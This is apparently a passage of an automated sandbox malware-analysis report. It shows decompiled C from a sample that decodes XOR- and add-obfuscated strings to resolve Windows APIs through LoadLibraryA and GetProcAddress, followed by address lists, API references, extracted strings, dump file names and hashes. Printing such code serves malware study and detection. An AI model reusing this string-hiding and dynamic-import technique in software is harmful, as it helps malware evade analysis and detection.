							_a46 = 0xc0;
							_a47 = 0xd1;
							_a48 = 0xea;
							_a49 = 0xd5;
							_a50 = 0xc0;
							_a51 = 0xcb;
							_a52 = 0xe4;
							_a53 = 0xa5;
							__eax = 0;
							do {
								 *(__esp +  &(__eax[0x28])) =  *(__esp +  &(__eax[0x28])) ^ 0x000000a5;
								__eax =  &(__eax[1]);
							} while (__eax < 0xe);
							__edx =  &_a40;
							__eax = GetProcAddress(__edi,  &_a40);
							__eax = __eax;
							 *0x431efc = __eax;
							if(__eax == 0) {
								goto L1;
							} else {
								_a56 = 0xa3;
								_a57 = 0x84;
								_a58 = 0x9e;
								_a59 = 0x8f;
								_a60 = 0x98;
								_a61 = 0x84;
								_a62 = 0x8f;
								_a63 = 0x9e;
								_a64 = 0xa5;
								_a65 = 0x9a;
								_a66 = 0x8f;
								_a67 = 0x84;
								_a68 = 0xbf;
								_a69 = 0x98;
								_a70 = 0x86;
								_a71 = 0xab;
								_a72 = 0xea;
								__eax = 0;
								do {
									 *(__esp +  &(__eax[0x38])) =  *(__esp +  &(__eax[0x38])) ^ 0x000000ea;
									__eax =  &(__eax[1]);
								} while (__eax < 0x11);
								__eax =  &_a56;
								__eax = GetProcAddress(__edi,  &_a56);
								 *0x431f00 = __eax;
								if(__eax == 0) {
									goto L1;
								} else {
									__bl = 0x9f;
									_a76 = 0x88;
									_a77 = 0x43;
									_a78 = 0xfc;
									_a79 = 0x99;
									_a80 = 0xa6;
									_a81 = 0x58;
									_a82 = 0x6a;
									_a83 = 0xe2;
									_a84 = 0xbe;
									_a85 = 0x9f;
									_a86 = 0x20;
									_a87 = 0xed;
									_a88 = 0x35;
									_a89 = 0xb4;
									_a90 = 0x34;
									_a91 = 0xfa;
									_a92 = 0xe7;
									_a120 = 0xc1;
									_a121 = 0x2b;
									_a122 = 0x78;
									_a123 = 0xcc;
									_a124 = 0xcc;
									_a125 = 0x16;
									_a126 = 0xfb;
									_a127 = 0x92;
									_a128 = 0x94;
									_a129 = 0xc6;
									_a130 = 0x41;
									_a131 = 0x77;
									_a132 = 0x11;
									_a133 = 0xb5;
									_a134 = 0x38;
									_a135 = 0x6b;
									_a136 = 0x19;
									__eax = 0;
									do {
										 *((char*)(__esp +  &(__eax[0x4c]))) =  *((intOrPtr*)(__esp +  &(__eax[0x4c]))) +  *((intOrPtr*)(__esp +  &(__eax[0x78])));
										__eax =  &(__eax[1]);
									} while (__eax < 0x11);
									__edx =  &_a76;
									__eax = GetProcAddress(__edi,  &_a76);
									 *0x431f04 = __eax;
									if(__eax == 0) {
										goto L1;
									} else {
										_a220 = 0x56;
										_a130 = 0x56;
										__eax =  &_a216;
										_push( &_a216);
										__ecx =  &_a120;
										__edx = 0x14;
										_a216 = 6;
										_a217 = 0x36;
										_a218 = 0xb9;
										_a219 = 0x60;
										_a221 = 1;
										_a222 = 0x32;
										_a223 = 0x3e;
										_a224 = 0xcb;
										_a225 = 0x26;
										_a226 = 0xf;
										_a227 = 0xa5;
										_a228 = 1;
										_a229 = 0xa3;
										_a230 = 0x3c;
										_a231 = 0xd2;
										_a232 = 0x72;
										_a233 = 0x9f;
										_a234 = 0x9a;
										_a235 = 0xed;
										_a120 = 0x42;
										_a121 = 0xb;
										_a122 = 0x65;
										_a123 = 0x11;
										_a124 = 0x74;
										_a125 = 6;
										_a126 = 0x68;
										_a127 = 0xd;
										_a128 = 0x79;
										_a129 = 0x3a;
										_a131 = 0x39;
										_a132 = 0x4a;
										_a133 = 0x2f;
										_a134 = 0x67;
										_a135 = 6;
										_a136 = 0x68;
										_a137 = 0xc;
										_a138 = 0x60;
										_a139 = 5;
										__eax = E0041C4C0(__ecx, __edx);
										__esp = __esp + 4;
										__eax = GetProcAddress(__edi, __eax);
										__eax = __eax;
										 *0x431f08 = __eax;
										if(__eax == 0) {
											goto L1;
										} else {
											_a96 = 0x40;
											_a97 = 0xec;
											_a98 = 0xfc;
											_a99 = 0xa;
											_a100 = 0xe1;
											_a101 = 0x80;
											_a102 = 0x93;
											_a103 = 0xb7;
											_a104 = 0xf4;
											_a105 = 0xba;
											_a106 = 0xb0;
											_a40 = 0x24;
											_a41 = 0x82;
											_a42 = 0x77;
											_a43 = 0x57;
											_a44 = 0x8f;
											_a45 = 0xe9;
											_a46 = 0x9b;
											_a47 = 0xad;
											_a48 = 0x78;
											_a49 = 0xb2;
											_a50 = 0x50;
											__eax = 0;
											do {
												 *((intOrPtr*)(__esp +  &(__eax[0x60]))) =  *((intOrPtr*)(__esp +  &(__eax[0x60]))) +  *(__esp +  &(__eax[0x28]));
												 *((char*)(__esp +  &(__eax[0x60]))) =  *((intOrPtr*)(__esp +  &(__eax[0x60]))) +  *(__esp +  &(__eax[0x28]));
												__eax =  &(__eax[1]);
											} while (__eax < 0xb);
											__edx =  &_a96;
											__edi = LoadLibraryA( &_a96);
											__eax = 0;
											if(__edi == 0) {
												goto L28;
											} else {
												_a140 = 0xce;
												_a141 = 0xe4;
												_a142 = 0xf9;
												_a143 = 0xdb;
												_a144 = 0xff;
												_a145 = 0xef;
												_a146 = 0xf8;
												_a147 = 0xf3;
												_a148 = 0xd5;
												_a149 = 0xcb;
												_a150 = 0x8a;
												do {
													 *(__esp +  &(__eax[0x8c])) =  *(__esp +  &(__eax[0x8c])) ^ 0x0000008a;
													__eax =  &(__eax[1]);
												} while (__eax < 0xb);
												__eax =  &_a140;
												__eax = GetProcAddress(__edi,  &_a140);
												__eax = __eax;
												 *0x431f0c = __eax;
												if(__eax == 0) {
													goto L1;
												} else {
													__ecx =  &_a56;
													_push(0x12);
													__bl = 0xde;
													_push( &_a56);
													__eax =  &_a76;
													_a56 = 0x2b;
													_a57 = 0x7e;
													_a58 = 0x14;
													_a59 = 0xc5;
													_a60 = 0x31;
													_a61 = 0x22;
													_a62 = 0x49;
													_a63 = 0xdc;
													_a64 = 0xd8;
													_a65 = 0x8b;
													_a66 = 0xed;
													_a67 = 0x54;
													_a68 = 0xbb;
													_a69 = 0xba;
													_a70 = 0x48;
													_a71 = 0xbb;
													_a72 = 0xa1;
													_a73 = 0x26;
													_a76 = 0x26;
													_a77 = 0xc4;
													_a78 = 0xde;
													_a79 = 0x3a;
													_a80 = 0xfc;
													_a81 = 0xcf;
													_a82 = 0x27;
													_a83 = 0x84;
													_a84 = 0xc7;
													_a85 = 0xbc;
													_a86 = 0xae;
													_a87 = 0x26;
													_a88 = 0x41;
													_a89 = 0x54;
													_a90 = 0x97;
													_a91 = 0x67;
													_a92 = 0x10;
													_a93 = 0x6f;
													__eax = E0041C580( &_a76);
													__esp = __esp + 8;
													__eax = GetProcAddress(__edi, __eax);
													__eax = __eax;
													 *0x431f10 = __eax;
													if(__eax == 0) {
														goto L1;
													} else {
														__edx =  &_a40;
														_push( &_a40);
														__ecx =  &_a164;
														__edi = __edi;
														__edx = 0xb;
														_a40 = 0x6d;
														_a41 = 0x96;
														_a42 = 0x80;
														_a43 = 6;
														_a44 = 0xa9;
														_a45 = 0x60;
														_a46 = 0x53;
														_a47 = 0xb;
														_a48 = 0xec;
														_a49 = 0xb1;
														_a50 = 0xd3;
														_a164 = 0xc8;
														_a165 = 0x9d;
														_a166 = 0xee;
														_a167 = 0x8b;
														_a168 = 0xf9;
														_a169 = 0xca;
														_a170 = 0xf8;
														_a171 = 0xd6;
														_a172 = 0x92;
														_a173 = 0xde;
														_a174 = 0x92;
														__eax = E0041C4C0(__ecx,  &_a40);
														__esp = __esp + 4;
														__eax = LoadLibraryA(__eax);
														__edi = __eax;
														__edi = __eax;
														if(__edi == 0) {
															goto L1;
														} else {
															__eax =  &_a152;
															_push(0xa);
															_push( &_a152);
															__eax =  &_a204;
															_a152 = 0x37;
															_a153 = 0x3b;
															_a154 = 0x8f;
															_a155 = 0x69;
															_a156 = 0x24;
															_a157 = 0x7f;
															_a158 = 0x60;
															_a159 = 0xe9;
															_a160 = 0xec;
															_a161 = 0x4c;
															_a204 = 0x4c;
															_a205 = 0xad;
															_a206 = 0x8f;
															_a207 = 0x14;
															_a208 = 0x11;
															_a209 = 0x4d;
															_a210 = 0x1b;
															_a211 = 0xff;
															_a212 = 0x48;
															_a213 = 0x40;
															__eax = E0041C580( &_a204);
															__esp = __esp + 8;
															__eax = GetProcAddress(__edi, __eax);
															 *0x431f14 = __eax;
															if(__eax == 0) {
																goto L1;
															} else {
																__ecx =  &_a56;
																__ecx =  &_a76;
																__edx = 0x12;
																_a56 = 0x75;
																_a57 = 6;
																_a58 = 0xcc;
																_a59 = 0x8b;
																_a60 = 0x4c;
																_a61 = 0xb8;
																_a62 = 0x36;
																_a63 = 0x4d;
																_a64 = 0x1e;
																_a65 = 0x53;
																_a66 = 0xb7;
																_a67 = 0x58;
																_a68 = 0xd4;
																_a69 = 0xa5;
																_a70 = 0xf1;
																_a71 = 0xd3;
																_a72 = 0x12;
																_a73 = 0x39;
																_a76 = 0x4a;
																_a77 = 0x19;
																_a78 = 0x7c;
																_a79 = 8;
																_a80 = 0x5f;
																_a81 = 0x36;
																_a82 = 0x58;
																_a83 = 0x3c;
																_a84 = 0x53;
																_a85 = 0x24;
																_a86 = 0x57;
																_a87 = 0x1f;
																_a88 = 0x70;
																_a89 = 0x1f;
																_a90 = 0x74;
																_a91 = 0x31;
																_a92 = 0x49;
																_a93 = 8;
																__eax = E0041C4C0( &_a76, 0x12,  &_a56);
																__eax = GetProcAddress(__edi, __eax);
																__edx = 0;
																_t358 = __eax != 0;
																__edx = 0 | _t358;
																 *0x431f18 = __eax;
																__eax = _t358;
																goto L28;
															}
														}
													}
												}
											}
										}
									}
								}
							}
						}
					}
				}
			}

0x0041d480
0x0041d48d
0x0041d494
0x0041d495
0x0041d49a
0x0041d4a3
0x0041d4a5
0x0041d4a7
0x0041d4ac
0x0041c80f
0x0041c827
0x0041d4b2
0x0041d4b2
0x0041d4b6
0x0041d4b7
0x0041d4bb
0x0041d4bc
0x0041d4bf
0x0041d4c0
0x0041d4c5
0x0041d4ca
0x0041d4cf
0x0041d4d4
0x0041d4d9
0x0041d4de
0x0041d4e3
0x0041d4e8
0x0041d4ed
0x0041d4f2
0x0041d4f7
0x0041d4fc
0x0041d501
0x0041d506
0x0041d50b
0x0041d510
0x0041d515
0x0041d51a
0x0041d51f
0x0041d524
0x0041d529
0x0041d52d
0x0041d532
0x0041d536
0x0041d53b
0x0041d542
0x0041d543
0x0041d545
0x0041d547
0x0041ddc9
0x0041ddc9
0x0041ddd1
0x0041ddd4
0x0041ddd9
0x0041dddf
0x0041d54d
0x0041d54d
0x0041d555
0x0041d55d
0x0041d565
0x0041d56d
0x0041d575
0x0041d57d
0x0041d585
0x0041d58d
0x0041d595
0x0041d59d
0x0041d5a5
0x0041d5ad
0x0041d5b5
0x0041d5bd
0x0041d5c5
0x0041d5cd
0x0041d5d5
0x0041d5dd
0x0041d5e5
0x0041d5ed
0x0041d5f5
0x0041d5fd
0x0041d605
0x0041d60d
0x0041d615
0x0041d620
0x0041d620
0x0041d628
0x0041d629
0x0041d62e
0x0041d637
0x0041d639
0x0041d63b
0x0041d640
0x00000000
0x0041d646
0x0041d646
0x0041d64b
0x0041d650
0x0041d655
0x0041d65a
0x0041d65f
0x0041d664
0x0041d669
0x0041d66e
0x0041d673
0x0041d678
0x0041d67d
0x0041d682
0x0041d687
0x0041d68c
0x0041d690
0x0041d690
0x0041d695
0x0041d696
0x0041d69b
0x0041d6a1
0x0041d6a3
0x0041d6a5
0x0041d6aa
0x00000000
0x0041d6b0
0x0041d6b0
0x0041d6b5
0x0041d6ba
0x0041d6bf
0x0041d6c4
0x0041d6c9
0x0041d6ce
0x0041d6d3
0x0041d6d8
0x0041d6dd
0x0041d6e2
0x0041d6e7
0x0041d6ec
0x0041d6f1
0x0041d6f6
0x0041d6fb
0x0041d700
0x0041d705
0x0041d707
0x0041d707
0x0041d70c
0x0041d70d
0x0041d712
0x0041d718
0x0041d71c
0x0041d721
0x00000000
0x0041d727
0x0041d727
0x0041d729
0x0041d72e
0x0041d733
0x0041d738
0x0041d73d
0x0041d742
0x0041d747
0x0041d74c
0x0041d751
0x0041d756
0x0041d75a
0x0041d75f
0x0041d764
0x0041d769
0x0041d76e
0x0041d773
0x0041d778
0x0041d77d
0x0041d782
0x0041d787
0x0041d78c
0x0041d791
0x0041d796
0x0041d79b
0x0041d7a0
0x0041d7a5
0x0041d7ad
0x0041d7b5
0x0041d7bd
0x0041d7c5
0x0041d7cd
0x0041d7d5
0x0041d7dd
0x0041d7e5
0x0041d7ed
0x0041d7f0
0x0041d7fa
0x0041d7fe
0x0041d7ff
0x0041d804
0x0041d80a
0x0041d80e
0x0041d813
0x00000000
0x0041d819
0x0041d81b
0x0041d822
0x0041d829
0x0041d830
0x0041d831
0x0041d839
0x0041d83a
0x0041d842
0x0041d84a
0x0041d852
0x0041d85a
0x0041d862
0x0041d86a
0x0041d872
0x0041d87a
0x0041d882
0x0041d88a
0x0041d892
0x0041d89a
0x0041d8a2
0x0041d8aa
0x0041d8b2
0x0041d8ba
0x0041d8c1
0x0041d8c9
0x0041d8d1
0x0041d8d6
0x0041d8db
0x0041d8e0
0x0041d8e5
0x0041d8ed
0x0041d8f5
0x0041d8fd
0x0041d905
0x0041d90d
0x0041d915
0x0041d91d
0x0041d925
0x0041d92d
0x0041d935
0x0041d93d
0x0041d945
0x0041d94d
0x0041d955
0x0041d95d
0x0041d962
0x0041d967
0x0041d969
0x0041d96b
0x0041d970
0x00000000
0x0041d976
0x0041d976
0x0041d97b
0x0041d980
0x0041d985
0x0041d98a
0x0041d98f
0x0041d994
0x0041d999
0x0041d99e
0x0041d9a3
0x0041d9a8
0x0041d9ad
0x0041d9b2
0x0041d9b7
0x0041d9bc
0x0041d9c1
0x0041d9c6
0x0041d9cb
0x0041d9d0
0x0041d9d5
0x0041d9da
0x0041d9df
0x0041d9e4
0x0041d9e6
0x0041d9ee
0x0041d9f0
0x0041d9f4
0x0041d9f5
0x0041d9fa
0x0041da01
0x0041da03
0x0041da07
0x00000000
0x0041da0d
0x0041da0d
0x0041da15
0x0041da1d
0x0041da25
0x0041da2d
0x0041da35
0x0041da3d
0x0041da45
0x0041da4d
0x0041da55
0x0041da5d
0x0041da70
0x0041da70
0x0041da78
0x0041da79
0x0041da7e
0x0041da87
0x0041da89
0x0041da8b
0x0041da90
0x00000000
0x0041da96
0x0041da96
0x0041da9a
0x0041da9c
0x0041da9e
0x0041da9f
0x0041daa3
0x0041daa8
0x0041daad
0x0041dab2
0x0041dab7
0x0041dabc
0x0041dac1
0x0041dac6
0x0041dacb
0x0041dad0
0x0041dad5
0x0041dada
0x0041dadf
0x0041dae4
0x0041dae9
0x0041daee
0x0041daf3
0x0041daf8
0x0041dafd
0x0041db02
0x0041db07
0x0041db0b
0x0041db10
0x0041db15
0x0041db1a
0x0041db1f
0x0041db24
0x0041db29
0x0041db2e
0x0041db33
0x0041db38
0x0041db3d
0x0041db42
0x0041db47
0x0041db4c
0x0041db51
0x0041db56
0x0041db5b
0x0041db60
0x0041db62
0x0041db64
0x0041db69
0x00000000
0x0041db6f
0x0041db6f
0x0041db73
0x0041db74
0x0041db7c
0x0041db7f
0x0041db80
0x0041db85
0x0041db8a
0x0041db8f
0x0041db94
0x0041db99
0x0041db9e
0x0041dba3
0x0041dba8
0x0041dbad
0x0041dbb2
0x0041dbb7
0x0041dbbf
0x0041dbc7
0x0041dbcf
0x0041dbd7
0x0041dbdf
0x0041dbe7
0x0041dbef
0x0041dbf7
0x0041dbff
0x0041dc06
0x0041dc0e
0x0041dc13
0x0041dc17
0x0041dc19
0x0041dc1b
0x0041dc1d
0x00000000
0x0041dc23
0x0041dc23
0x0041dc2a
0x0041dc2c
0x0041dc2d
0x0041dc34
0x0041dc3c
0x0041dc44
0x0041dc4c
0x0041dc54
0x0041dc5c
0x0041dc64
0x0041dc6c
0x0041dc74
0x0041dc7c
0x0041dc84
0x0041dc8c
0x0041dc94
0x0041dc9c
0x0041dca4
0x0041dcac
0x0041dcb4
0x0041dcbc
0x0041dcc4
0x0041dccc
0x0041dcd4
0x0041dcd9
0x0041dcde
0x0041dce2
0x0041dce7
0x00000000
0x0041dced
0x0041dced
0x0041dcf2
0x0041dcf6
0x0041dcfb
0x0041dd00
0x0041dd05
0x0041dd0a
0x0041dd0f
0x0041dd14
0x0041dd19
0x0041dd1e
0x0041dd23
0x0041dd28
0x0041dd2d
0x0041dd32
0x0041dd37
0x0041dd3c
0x0041dd41
0x0041dd46
0x0041dd4b
0x0041dd50
0x0041dd55
0x0041dd5a
0x0041dd5f
0x0041dd64
0x0041dd69
0x0041dd6e
0x0041dd73
0x0041dd78
0x0041dd7d
0x0041dd82
0x0041dd87
0x0041dd8c
0x0041dd91
0x0041dd96
0x0041dd9b
0x0041dda0
0x0041dda5
0x0041ddaa
0x0041ddaf
0x0041ddb9
0x0041ddbb
0x0041ddbf
0x0041ddbf
0x0041ddc2
0x0041ddc8
0x00000000
0x0041ddc8
0x0041dce7
0x0041dc1d
0x0041db69
0x0041da90
0x0041da07
0x0041d970
0x0041d813
0x0041d721
0x0041d6aa
0x0041d640
0x0041d547

APIs

GetProcAddress.KERNEL32(00000000,0000006B), ref: 0041D4A3
LoadLibraryA.KERNEL32(00000000,?,?,?,?,?,?,?,?,00000007,?,00000001), ref: 0041D53F
GetProcAddress.KERNEL32(00000000,0000009A), ref: 0041D637
GetProcAddress.KERNEL32(00000000,000000A5), ref: 0041D6A1
GetProcAddress.KERNEL32(00000000,000000EA), ref: 0041D718
GetProcAddress.KERNEL32(00000000,00000088), ref: 0041D80A
GetProcAddress.KERNEL32(00000000,00000000), ref: 0041D967
LoadLibraryA.KERNEL32(00000040), ref: 0041D9FF
GetProcAddress.KERNEL32(00000000,0000008A), ref: 0041DA87
GetProcAddress.KERNEL32(00000000,00000000), ref: 0041DB60

Strings

L, xrefs: 0041DC7C
J, xrefs: 0041DD55
_, xrefs: 0041DD69
L, xrefs: 0041DC84
t, xrefs: 0041D8E5
~, xrefs: 0041DAA8
W, xrefs: 0041DD87
l, xrefs: 0041D4D9
A, xrefs: 0041D52D
p, xrefs: 0041DD91
J, xrefs: 0041D91D
w, xrefs: 0041D9B7
X, xrefs: 0041DD73
N, xrefs: 0041D4E8
v, xrefs: 0041D501
y, xrefs: 0041D905
I, xrefs: 0041DAC1
2, xrefs: 0041D862
7, xrefs: 0041DC34
/, xrefs: 0041D925
9, xrefs: 0041DD50
w, xrefs: 0041D7BD
`, xrefs: 0041DB99
$, xrefs: 0041DC54
&, xrefs: 0041D87A
M, xrefs: 0041DCAC
&, xrefs: 0041DAF8
H, xrefs: 0041D4E3
L, xrefs: 0041DD0F
h, xrefs: 0041D8F5
S, xrefs: 0041DD28
@, xrefs: 0041DCCC
$, xrefs: 0041DD82
S, xrefs: 0041DD7D
M, xrefs: 0041DD1E
u, xrefs: 0041DCFB
q, xrefs: 0041D50B
I, xrefs: 0041D524
i, xrefs: 0041DC4C
$, xrefs: 0041D9AD
<, xrefs: 0041D8A2
m, xrefs: 0041DB80
S, xrefs: 0041D4C0
H, xrefs: 0041DCC4
B, xrefs: 0041D8D1
|, xrefs: 0041DD5F
e, xrefs: 0041D8DB
X, xrefs: 0041DD32
1, xrefs: 0041DDA0
`, xrefs: 0041D94D
S, xrefs: 0041DB9E
h, xrefs: 0041D93D
:, xrefs: 0041D90D
<, xrefs: 0041DD78
g, xrefs: 0041DB47
T, xrefs: 0041DB3D
>, xrefs: 0041D86A
9, xrefs: 0041D915
r, xrefs: 0041D8B2
`, xrefs: 0041DC64
1, xrefs: 0041DAB7
H, xrefs: 0041DAE9
T, xrefs: 0041DADA
+, xrefs: 0041D782
x, xrefs: 0041D787
t, xrefs: 0041DD9B
W, xrefs: 0041D9BC
g, xrefs: 0041D51F
I, xrefs: 0041DDA5
o, xrefs: 0041DB51
6, xrefs: 0041DD6E
g, xrefs: 0041D92D
x, xrefs: 0041D9D5
8, xrefs: 0041D7D5
;, xrefs: 0041DC3C
`, xrefs: 0041D852
6, xrefs: 0041DD19

Memory Dump Source

Source File: 00000000.00000002.685308858.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.685305426.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685339970.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685345354.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.685352255.0000000000434000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685356146.0000000000441000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685360676.0000000000460000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685364084.0000000000464000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_data.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: $$$$$$&$&$+$/$1$1$2$6$6$7$8$9$9$:$;$<$<$>$@$A$B$H$H$H$I$I$I$J$J$L$L$L$M$M$N$S$S$S$S$T$T$W$W$X$X$_$`$`$`$`$e$g$g$g$h$h$i$l$m$o$p$q$r$t$t$u$v$w$w$x$x$y$|$~
API String ID: 2238633743-3939626055
Opcode ID: 7407ca522dbce01ad9b4c6abd7e2bb4c207c5503f48ec384ba19d8a20949bdd3
Instruction ID: d279c69ded40f583c31ed4c92f13a2dab29e55bb77bfa67845b1957d9372acbe
Opcode Fuzzy Hash: 7407ca522dbce01ad9b4c6abd7e2bb4c207c5503f48ec384ba19d8a20949bdd3
Instruction Fuzzy Hash: 1D52A62000CBC289D332D67C584879FBFD11BA7228F584B9DF1F95A2E2D7A5814AC767

Uniqueness

Uniqueness Score: -1.00%

Function 004147D5, Relevance: 135.2, APIs: 13, Strings: 64, Instructions: 419
threadCOMMON

Download Yara Rule

C-Code - Quality: 95%

			E004147D5(void* __eax, void* __ebx, intOrPtr __ebp, void* _a4, long _a8, void* _a12, void* _a16, intOrPtr _a40, char* _a76, void* _a136, void* _a137, void* _a138, void* _a139, void* _a140, void* _a141, void* _a142, void* _a143, void* _a144, void* _a145, void* _a146, void* _a147, void* _a148, void* _a149, void* _a150, void* _a151, char _a152, char _a153, char _a154, char _a155, void* _a156, char _a157, char _a158, char _a159, char _a160, char _a161, char _a162, char _a163, char _a164, char _a165, char _a166, char _a167, char _a168, char _a169, char _a170, char _a171, char _a172, char _a173, char _a174, char _a175, char _a176, char _a177, char _a178, char _a179, char _a180, char _a181, char _a182, char _a183, char _a184, char _a185, char _a186, char _a187, char _a188, char _a189, char _a190, char _a191, char _a192, char _a193, char _a194, char _a195, void* _a212, void* _a213, void* _a214, void* _a215, void* _a216, void* _a217, void* _a218, void* _a219, void* _a220, void* _a221, void* _a222, void* _a223, void* _a224, void* _a225, void* _a226, void* _a227, char _a228, char _a229, char _a230, char _a231, char _a232, char _a233, char _a288, char _a289, char _a290, char _a291, char _a292, char _a293, char _a294, char _a295, char _a296, char _a297, char _a298, char _a299, char _a300, char _a301, char _a302, char _a303, char _a304, char _a305, char _a306, char _a307, char _a308, char _a309, void* _a310, void* _a311, void* _a312, void* _a313, void* _a314, void* _a315, void* _a316, void* _a317, void* _a318, void* _a319, char _a320, char _a321, void* _a364, void* _a365, void* _a366, void* _a367, void* _a368, void* _a369, void* _a370, void* _a371, void* _a372, void* _a373, void* _a374, void* _a375, void* _a376, void* _a377, void* _a378, void* _a379, char _a380, char _a381, char _a382, char _a383, char _a384, char _a385, char _a386, char _a387, char _a396, void* _a416, char _a432, char _a448, void* _a848, void* _a852, void* _a860, void* _a868) {
				void* _v0;
				void* _v16;
				void* _v20;
				void* _v24;
				void* _v28;
				void* _v32;
				void* _v36;
				void* _v40;
				void* _v44;
				void* _v48;
				void* _v52;
				void* _v56;
				void* _v60;
				void* _v64;
				void* _v69;
				void* _t273;
				signed short _t275;
				void* _t283;
				void* _t290;
				signed int _t294;
				void* _t313;
				signed char _t315;
				void* _t320;
				signed char _t326;
				signed char _t327;
				signed int _t328;
				signed char _t338;
				signed char _t339;
				char _t340;
				signed int _t354;
				signed char _t410;
				void* _t412;
				void* _t416;
				signed int _t420;
				signed int _t421;
				void* _t423;
				void* _t425;
				void* _t426;

				_t273 = __eax;
				do {
					 *((char*)(_t425 + _t273 + 0xe8)) =  *((intOrPtr*)(_t425 + _t273 + 0xe8)) +  *((intOrPtr*)(_t425 + _t273 + 0xcc));
					 *((char*)(_t425 + _t273 + 0xe9)) =  *((intOrPtr*)(_t425 + _t273 + 0xe9)) +  *((intOrPtr*)(_t425 + _t273 + 0xcd));
					 *((char*)(_t425 + _t273 + 0xea)) =  *((intOrPtr*)(_t425 + _t273 + 0xea)) +  *((intOrPtr*)(_t425 + _t273 + 0xce));
					 *((char*)(_t425 + _t273 + 0xeb)) =  *((intOrPtr*)(_t425 + _t273 + 0xeb)) +  *((intOrPtr*)(_t425 + _t273 + 0xcf));
					 *((char*)(_t425 + _t273 + 0xec)) =  *((intOrPtr*)(_t425 + _t273 + 0xec)) +  *((intOrPtr*)(_t425 + _t273 + 0xd0));
					_t273 = _t273 + 5;
				} while (_t273 < 0x14);
				E0040B300( &_a448,  &_a232, 0, 1, 1);
				_a288 = 0x28;
				_a289 = 0x24;
				_a290 = 0x26;
				_a291 = 0x2f;
				_a292 = 0x2a;
				_a293 = 0x2d;
				_a294 = 0x2b;
				_a295 = 0x36;
				_a296 = 0x28;
				_a297 = 0x2c;
				_a298 = 0x31;
				_a299 = 0x2d;
				_a300 = 5;
				_a301 = 0x28;
				_a302 = 0x24;
				_a303 = 0x2c;
				_a304 = 0x29;
				_a305 = 0x6b;
				_a306 = 0x26;
				_a307 = 0x2a;
				_a308 = 0x28;
				_a309 = 0x45;
				_t275 = 0x71;
				_t354 = 0;
				do {
					_t275 = ((_t275 & 0x0000ffff | 0x00006a17) + 0x000006db) * 0x00000007 ^ 0x0000001a;
					 *(_t425 + _t354 + 0x130) =  *(_t425 + _t354 + 0x130) ^ 0x00000045;
					_t354 = _t354 + 1;
				} while (_t354 < 0x16);
				E0040B300( &_a448,  &_a304, 0, 1, 1);
				_push(0x18);
				_push( &_a380);
				_a380 = 0x28;
				_a381 = 0x35;
				_a382 = 0x17;
				_a383 = 0xaa;
				_a384 = 0x83;
				_a385 = 0x40;
				_a386 = 0xeb;
				_a387 = 0x5c;
				 *((char*)(_t425 + 0x19c)) = 0x1c;
				 *((char*)(_t425 + 0x19d)) = 0x28;
				 *((char*)(_t425 + 0x19e)) = 0xdd;
				 *((char*)(_t425 + 0x19f)) = 0xcb;
				 *((char*)(_t425 + 0x1a0)) = 0xd8;
				 *((char*)(_t425 + 0x1a1)) = 0x5a;
				 *((char*)(_t425 + 0x1a2)) = 0x88;
				 *((char*)(_t425 + 0x1a3)) = 0x9c;
				_a396 = 0x95;
				 *((char*)(_t425 + 0x1a5)) = 0x1d;
				 *((char*)(_t425 + 0x1a6)) = 0xbd;
				 *((char*)(_t425 + 0x1a7)) = 0x48;
				 *((char*)(_t425 + 0x1a8)) = 0x67;
				 *((char*)(_t425 + 0x1a9)) = 0x6a;
				 *((char*)(_t425 + 0x1aa)) = 0xa9;
				 *((char*)(_t425 + 0x1ab)) = 0xb0;
				_a188 = 5;
				_a189 = 0x68;
				_a190 = 9;
				_a191 = 0x6a;
				_a192 = 0;
				_a193 = 0x6f;
				_a194 = 7;
				_a195 = 0x69;
				 *((char*)(_t425 + 0xdc)) = 0x1a;
				 *((char*)(_t425 + 0xdd)) = 0x77;
				 *((char*)(_t425 + 0xde)) = 0x1e;
				 *((char*)(_t425 + 0xdf)) = 0x6a;
				 *((char*)(_t425 + 0xe0)) = 2;
				 *((char*)(_t425 + 0xe1)) = 0x42;
				 *((char*)(_t425 + 0xe2)) = 0x20;
				 *((char*)(_t425 + 0xe3)) = __ebx;
				 *((char*)(_t425 + 0xe4)) = 0x2e;
				 *((char*)(_t425 + 0xe5)) = 0x43;
				 *((char*)(_t425 + 0xe6)) = 0x2a;
				 *((char*)(_t425 + 0xe7)) = 0x58;
				 *((char*)(_t425 + 0xe8)) = 0x76;
				 *((char*)(_t425 + 0xe9)) = 0x18;
				 *((char*)(_t425 + 0xea)) = 0x7d;
				 *((char*)(_t425 + 0xeb)) = 9;
				_t283 = E00411FF0( &_a188);
				_t426 = _t425 + 8;
				E0040B300( &_a432, _t283, 0, 1, 1);
				_a320 = 0x9d;
				_a321 = 0x8d;
				 *((char*)(_t426 + 0x162)) = 0x19;
				 *((char*)(_t426 + 0x163)) = 0x39;
				 *((char*)(_t426 + 0x164)) = 0xcb;
				 *((char*)(_t426 + 0x165)) = 0xd1;
				 *((char*)(_t426 + 0x166)) = 0x15;
				 *((char*)(_t426 + 0x167)) = 0x5b;
				 *((char*)(_t426 + 0x168)) = 0x57;
				 *((char*)(_t426 + 0x169)) = 0x3e;
				_a174 = 0xd1;
				_a186 = 0x57;
				_push( &_a320);
				_t412 = 0x12;
				 *((char*)(_t426 + 0x16e)) = 0x63;
				 *((char*)(_t426 + 0x16f)) = 0xf1;
				 *((char*)(_t426 + 0x170)) = 0;
				 *((char*)(_t426 + 0x171)) = 0xd2;
				 *((char*)(_t426 + 0x172)) = 0x15;
				 *((char*)(_t426 + 0x173)) = 0xbe;
				 *((char*)(_t426 + 0x174)) = 0x45;
				 *((char*)(_t426 + 0x175)) = 0xf2;
				_a172 = 0xf2;
				_a173 = 0x28;
				_a175 = 0x76;
				_a176 = 0xfc;
				_a177 = 0x6c;
				_a178 = 0x98;
				_a179 = 2;
				_a180 = 0x53;
				_a181 = 0x30;
				_a182 = 0x1b;
				_a183 = 0x73;
				_a184 = 0xba;
				_a185 = 0xa9;
				_a187 = 0x71;
				_a188 = 0xe7;
				_a189 = 0xf3;
